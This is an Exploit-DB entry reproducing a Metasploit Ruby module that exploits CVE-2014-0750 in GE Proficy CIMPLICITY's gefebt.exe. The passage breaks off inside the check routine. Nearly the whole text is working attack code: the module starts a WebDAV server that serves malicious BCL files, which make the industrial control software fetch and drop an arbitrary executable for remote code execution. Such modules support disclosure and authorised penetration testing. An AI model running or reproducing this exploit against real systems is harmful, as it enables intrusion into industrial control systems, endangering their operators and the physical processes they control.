Exploit-DB #31987
Description: GE Proficy CIMPLICITY - 'gefebt.exe' Remote Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2014-02-28
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize
    super(
      'Name'          => 'GE Proficy CIMPLICITY gefebt.exe Remote Code Execution',
      'Description'   => %q{
        This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the
        CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in
        shared resources. An attacker can abuse this behaviour to execute a malicious BCL and
        drop an arbitrary EXE. The last one can be executed remotely through the WebView server.
        This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded
        CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. When
        the target hasn't the WebClient service enabled, an external SMB service is necessary.
      },
      'Author'      => [
        'amisto0x07', # Vulnerability discovery
        'Z0mb1E', # Vulnerability discovery
        'juan vazquez' # Metasploit module
      ],
      'References'  =>
        [
          [ 'CVE', '2014-0750'],
          [ 'ZDI', '14-015' ],
          [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01' ]
        ],
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Platform'    => 'win',
      'Targets'     =>
        [
          [ 'GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)', { } ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 23 2014'
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('URIPATH',   [ true, 'The URI to use (do not change)', '/' ]),
        OptPort.new('SRVPORT',     [ true, 'The daemon port to listen on (do not change)', 80 ]),
        OptString.new('UNCPATH',   [ false, 'Override the UNC path to use.' ]),
        OptBool.new('ONLYMAKE',    [ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]),
        OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/'])
      ], self.class)
  end

  def on_request_uri(cli, request)
    case request.method
      when 'OPTIONS'
        process_options(cli, request)
      when 'PROPFIND'
        process_propfind(cli, request)
      when 'GET'
        process_get(cli, request)
      else
        vprint_status("#{request.method} => 404 (#{request.uri})")
        resp = create_response(404, "Not Found")
        resp.body = ""
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
    end
  end

  def process_get(cli, request)
    if request.uri =~ /#{@basename}(\d)\.bcl/
      print_status("GET => Payload")
      data = @bcls[$1.to_i]
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    # Anything else is probably a request for a data file...
    vprint_status("GET => DATA (#{request.uri})")
    data = rand_text_alpha(8 + rand(10))
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    vprint_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    print_status("Received WebDAV PROPFIND request")
    body = ''

    if (path =~ /\.bcl$/i)
      print_status("Sending BCL multistatus for #{path} ...")
      body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
      # Response for anything else (generally just /)
      print_status("Sending directory multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
    else
      print_status("Sending 404 for #{path} ...")
      send_not_found(cli)
      return
    end

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  def check
    uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe")
    uri << "?"

    res = send_request_cgi('uri' => uri)

    # res.to_s is used because the CIMPLICITY embedded web ser